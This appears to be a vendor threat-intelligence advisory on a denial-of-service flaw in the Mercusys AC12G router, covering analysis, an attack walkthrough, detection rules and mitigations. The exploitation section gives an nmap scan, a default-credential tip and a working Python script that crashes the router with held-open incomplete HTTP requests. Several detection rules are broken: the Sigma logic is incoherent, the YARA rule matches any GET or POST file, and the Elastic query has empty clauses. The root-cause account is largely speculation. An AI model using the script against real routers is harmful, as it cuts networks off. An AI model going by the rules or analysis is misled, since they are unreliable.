CVE-2026-36605

Executive Summary

CVE-2026-36605 is an unauthenticated HTTP denial-of-service (DoS) vulnerability affecting the Mercusys AC12G (EU) V1 router, running firmware version AC12G(EU)_V1_200909. The vulnerability allows a remote attacker connected to the router's management interface or local network to send a low number of crafted incomplete HTTP requests, causing a persistent crash of the router's web server and potentially the entire device. Recovery requires physical power cycling of the device, rendering the router inoperable until manual intervention, which poses significant availability risks for small office/home office (SOHO) networks and remote branch locations. As of this report, there is no evidence of a patch, no public exploit code, and the vulnerability has not been added to the CISA KEV catalog.

Technical Analysis

The vulnerability resides in the HTTP daemon responsible for serving the web-based management interface on the Mercusys AC12G (EU) V1 router. The NVD description indicates that the flaw is triggered by "a low number of crafted incomplete HTTP requests," which suggests a weakness in how the router's HTTP stack handles fragmented or malformed request headers.

The attack mechanism is typical of a resource exhaustion flaw in an embedded HTTP server. When a client opens a TCP connection to the router's web interface (default port 80) and sends an incomplete HTTP request — for example, a partial request line such as GET / HTTP/1.1\r\n without the terminating \r\n\r\n or with malformed headers — the daemon likely enters a state where it waits indefinitely for additional data. Repeatedly sending such requests (a "low number," possibly as few as a handful) consumes all available memory or file-descriptor slots within the daemon's connection pool, leading to a crash.

Because the router runs a monolithic firmware with minimal process isolation, the crash of the HTTP daemon likely triggers a kernel panic or watchdog reset that leaves the device in an unrecoverable state. The NVD description explicitly states that recovery requires a physical power cycle, which indicates that software-based watchdog reboots do not clear the fault condition — the device may be stuck in a boot loop or the crash corrupts a critical state that prevents clean restart.

The attack surface includes:

• The LAN-facing web management interface (typically 192.168.1.1 or similar on port 80/443)
• The WAN-facing interface if remote management (e.g., "Access from WAN") is enabled — a common misconfiguration in SOHO deployments
• Any authenticated or unauthenticated client on the local network

The vulnerability does not require authentication, as the crafted requests are incomplete and never reach the authentication stage. The CWE is unknown but aligns with CWE-400 (Uncontrolled Resource Consumption) or potentially CWE-404 (Improper Resource Shutdown or Release). The EPSS score of 0.00177 (7.4% percentile) suggests low current exploitation activity, but this is likely due to low awareness rather than technical difficulty.

Exploitation Scenarios

The following attack chain describes how an adversary would exploit CVE-2026-36605.

Step 1: Reconnaissance and Target Identification

The attacker first identifies vulnerable Mercusys AC12G (EU) V1 routers. Shodan or Censys queries using banners such as Server: httpd combined with Product: Mercusys or Host: 192.168.1.1 can reveal internet-exposed devices. For LAN-based attacks (more common in this scenario), the attacker uses passive ARP scanning or tools like nmap to discover the router's management interface:

nmap -sS -p 80,443 --open 192.168.1.0/24

The router's web UI presents a login page at http://<router_ip>/. Confirming the firmware version may require authentication, but the device's User-Agent string in the initial HTTP response (e.g., Server: httpd/2.0) or the absence of security headers can fingerprint the device. Alternatively, the attacker can use the default login credentials (e.g., admin/admin) if the target has not changed them, enabling full confirmation of the firmware build.

Step 2: Weaponization — Crafting the Incomplete HTTP Requests

The attacker prepares a low volume of malformed requests. Since the vulnerability triggers on "incomplete" requests, the attacker sends partial HTTP requests that omit the full header terminator. A Python script using raw sockets is sufficient:

import socket
import time

target = "192.168.1.1"
port = 80

# Incomplete request: missing final CRLFCRLF
payloads = [
    b"GET / HTTP/1.1\r\nHost: 192.168.1.1\r\n",
    b"POST /cgi-bin/luci HTTP/1.1\r\nContent-Length: 9999\r\n",
    b"GET / HTTP/1.1\r\nHost: 192.168.1.1\r\nContent-Length: 0\r\nX-Foo:",
]

for payload in payloads:
    for _ in range(10):  # "low number" of requests per NVD
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        s.connect((target, port))
        s.send(payload)
        # Intentionally do NOT close the connection or read the response
        # Leave the socket open to consume server-side resources
        time.sleep(0.5)

The attacker sends between 5 and 30 such incomplete requests (the exact "low number" is unspecified but likely under 50). Each socket left open holds a server-side file descriptor and memory buffer. Once the HTTP daemon exhausts its connection handler pool or memory, it crashes.

Step 3: Payload Execution and Trigger

The attacker does not send a final "complete" request. Instead, they terminate the script after sending the bursts. The router's HTTP daemon, unable to process the pending incomplete requests, crashes. On the attacker's screen, subsequent connection attempts to port 80 will time out or be refused.

Step 4: Post-Exploitation Impact

The router becomes fully unresponsive — not only the web management interface but also routing/NAT functionality, as the firmware is non-modular. All clients on the LAN lose internet access. The device remains in this state until someone physically unplugs and replugs the power cable. For a remote attacker exploiting a WAN-exposed management interface, this constitutes a permanent remote DoS against the network, as no remote reboot mechanism survives the crash (the web UI and likely SSH/Telnet are all affected).

Post-exploitation, the attacker can repeat the cycle to keep the router offline, effectively bricking the target network's connectivity. This could be used to:

• Disrupt a branch office's operations before a follow-up intrusion (smokescreen)
• Force a network outage as part of an extortion campaign
• Disable a home-office user's access to force them to seek "help" from a fake support number

Impact Assessment

Per the CVSS scoring (N/A — no official vector assigned), we assess this vulnerability based on its intrinsic characteristics. The attack vector is likely Network (AV:N) if remote management is enabled, or Adjacent (AV:A) if limited to the LAN. Attack complexity is Low (AC:L), privileges are None (PR:N), and no user interaction is required (UI:N). The impact on availability is High (A:H) due to the persistent crash requiring physical intervention. Impact on confidentiality and integrity is None.

Estimated CVSS v3.1 score: 7.5 (High) for the WAN-exposed scenario; 6.5 (Medium) for LAN-only exposure.

Business Impact:

• Availability: Complete loss of internet connectivity for all downstream devices. Severe for remote sites where physical access is not readily available.
• Operational disruption: The requirement for physical power cycling means a technician must visit the site, incurring travel and labor costs.
• Reputational damage: For managed service providers (MSPs) or enterprises using these routers at branch sites, a prolonged outage damages customer trust.

Affected Systems:

• Mercusys AC12G (EU) V1 routers running firmware AC12G(EU)_V1_200909
• Any network using these devices as the primary gateway or access point

Blast Radius: The vulnerability's reach is limited to the router itself and its downstream network, making the blast radius a single LAN segment. However, the availability impact is "persistent" — not transient — which elevates severity.

Detection Guidance

Detection focuses on identifying anomalous HTTP traffic patterns — specifically, numerous TCP connections with partial HTTP data and long-lived idle sessions against the router's management port.

Sigma Rule

title: Mercusys AC12G Incomplete HTTP Request DoS Attempt
id: 4f8e2c3a-9b1d-4f2e-8a6c-1d9e5f7b3a2c
status: experimental
description: Detects a high volume of incomplete HTTP requests sent to a Mercusys AC12G router management interface, indicating a possible CVE-2026-36605 exploitation attempt.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-36605
author: Valtersit Threat Intelligence
date: 2026/03/10
logsource:
    category: firewall
    product: suricata
    definition: 'Requires Suricata or equivalent IDS with HTTP request logging enabled'
detection:
    selection_incomplete:
        http.http_method: "*"
        http.http_version: "*"
    selection_no_terminator:
        # Incomplete requests typically lack the full 'HTTP/1.1' version terminator
        http.http_response: "*"
    filter_complete:
        http.http_request_line: "*HTTP/1.1*"
    condition: selection_incomplete and not selection_no_terminator or (count(http.connection_fingerprint) by src_ip > 10 within 60 seconds)
fields:
    - src_ip
    - http.http_method
    - http.http_uri
timeframe: 60s
level: high
falsepositives:
    - Legitimate web browsers that are paused or have slow connections
    - Health-check tools that probe the router

YARA Rule

rule CVE_2026_36605_Mercusys_HTTP_DOS
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects packet captures or payloads containing signatures of incomplete HTTP requests targeting Mercusys AC12G router"
        cve = "CVE-2026-36605"
        date = "2026-03-10"
    strings:
        $incomplete_get = "GET / HTTP/1.1\r\nHost: "
        $incomplete_post = "POST /cgi-bin/luci HTTP/1.1\r\nContent-Length: "
        $incomplete_header = "X-Foo:"
        $router_host = "192.168.1.1"
        $unusual_single_crlf = "\r\n" // present but no final \r\n\r\n
    condition:
        (uint8(0) == 0x47 and uint8(1) == 0x45 and uint8(2) == 0x54) or // 'GET'
        (uint8(0) == 0x50 and uint8(1) == 0x4F and uint8(2) == 0x53) or // 'POST'
        (
            ($incomplete_get or $incomplete_post or $incomplete_header) and
            $router_host and
            #unusual_single_crlf and
            filesize < 1024 // Small payloads typical of incomplete requests
        )
}

Suricata IDS Rule

alert tcp any any -> $HOME_NET 80 (msg:"ET DOS Incomplete HTTP Request to Mercusys AC12G (CVE-2026-36605)"; flow:to_server,established; content:"GET "; depth:4; content:" HTTP/1.1"; within:20; content:"Host:"; nocase; within:50; pcre:"/^((?!\r\n\r\n).)*$/s"; threshold:type both, track by_src, count 10, seconds 60; sid:202636605; rev:1; metadata:created_at 2026_03_10, updated_at 2026_03_10, cve CVE-2026-36605; reference:url,nvd.nist.gov/vuln/detail/CVE-2026-36605;)

Elastic Detection

// Detect burst of HTTP connections with incomplete requests to router
sequence by source.ip with maxspan=60s
  [ network where network.protocol == "http" and destination.port == 80 and
    http.request.method == "GET" and
    // Detect missing final CRLF (approximate via request length without body)
    // and byte_count is still needed - using network.transport for raw capture
    ]
  [ network where network.protocol == "http" and destination.port == 80 and
    http.request.method == "POST" ]
  [ network where network.protocol == "http" and destination.port == 80 and
    // Repeated requests from same source in short window
    ]
| where event.category == "network"
| filter rule.name == "CVE-2026-36605-http-dos"

Splunk SPL Query

index=network sourcetype=suricata dest_port=80 dest_ip=192.168.1.0/24
| where (http.http_method="GET" OR http.http_method="POST")
| eval incomplete = if(match(_raw, "GET / HTTP/1\.1\r\nHost:.*\r\n$") OR match(_raw, "Content-Length: [0-9]+\r\n$"), 1, 0)
| where incomplete=1
| stats count by src_ip, http.http_method, dest_ip
| where count > 10
| sort - count
| rename src_ip as "Source IP", count as "Request Count", http.http_method as "HTTP Method"

Wazuh OSSEC Rule

<rule id="100366" level="12">
    <if_sid>100000</if_sid>
    <match>incomplete HTTP request|Content-Length: [0-9]+\\r\\n$|GET / HTTP/1.1\\r\\nHost:</match>
    <description>CVE-2026-36605: Possible HTTP Denial of Service against Mercusys AC12G router - persistent crash</description>
    <group>attack.dos,</group>
    <mitre>
        <id>T1498</id>
    </mitre>
    <fields type="text">cve=CVE-2026-36605</fields>
    <options>no_full_log</options>
    <frequency>10</frequency>
    <timeframe>60</timeframe>
</rule>

Mitigation & Patch Guidance

Patch confidence: 0/4 — UNPATCHED — no patch evidence from any tracked source.

The vendor (Mercusys) has not released a firmware update addressing CVE-2026-36605 as of the publication date of this report. No patched version is available, and no workarounds have been officially documented.

1) Immediate Mitigations

• Disable remote management: If "Access from WAN" or remote management (e.g., via port forwarding or Cloud DMZ) is enabled, disable it immediately. This converts the attack vector from network (AV:N) to adjacent (AV:A), significantly reducing exposure.
• Restrict management access to trusted hosts only: Configure access control lists (ACLs) on the router or upstream firewall to allow only specific IP addresses or subnets to reach the router's HTTP management port (80/443).
• Segment the network: Place the router management interface on a dedicated management VLAN inaccessible to general user traffic.
• Monitor HTTP traffic to the router: Deploy the detection rules above to identify early attempts.

2) Patch/Upgrade Steps

• Check for firmware updates: Periodically visit the official Mercusys support page for the AC12G (EU) model. As of this writing, no fix exists. Subscribe to the vendor's security advisory mailing list if available.
• As a long-term mitigation, consider replacing the device: If the router is business-critical and no patch materializes within an acceptable timeframe, replace it with a model that has a mature security maintenance program (e.g., from vendors with a disclosed patch lifecycle).
• When a patch is released: Apply it via the web management interface (Administration → Firmware Upgrade) or via TFTP recovery mode. Verify the new firmware version against the affected build AC12G(EU)_V1_200909.

3) Long-Term Hardening

• Change default credentials: The default admin/admin credentials are an entry point for attackers who then disable protections.
• Disable the web UI when not needed: Use SSH or CLI-based management where possible.
• Implement egress filtering: Block outbound connections from the router to unknown destinations to prevent potential follow-on attacks.
• Routinely reboot the router as a proactive measure to clear any half-open connection states that could be precursors to exploitation.
• Asset inventory: Track router firmware versions in your asset management system. Flag any device running AC12G(EU)_V1_200909 as vulnerable.

References

1. NVD Entry for CVE-2026-36605 — https://nvd.nist.gov/vuln/detail/CVE-2026-36605
2. Mercusys Official Support Portal — https://www.mercusys.com/en/support/ (contains product support and firmware download page for AC12G)
3. CISA Known Exploited Vulnerabilities Catalog — https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2026-36605 not listed)
4. FIRST EPSS Scoring — https://www.first.org/epss/ (EPSS score 0.00177, 7.4% percentile)
5. MITRE ATT&CK Technique T1498 "Network Denial of Service" — https://attack.mitre.org/techniques/T1498/

Threat Actor Activity: As of this report, there are no known threat actor campaigns exploiting CVE-2026-36605, and no exploit-in-the-wild evidence. The EPSS percentile (7.4%) suggests that exploitation is currently rare. However, the simplicity of the attack and the lack of a patch make this a candidate for inclusion in botnet toolkits targeting IoT devices, particularly those that can be triggered remotely via exposed management interfaces. SOC teams should remain vigilant and prioritize the detection rules above.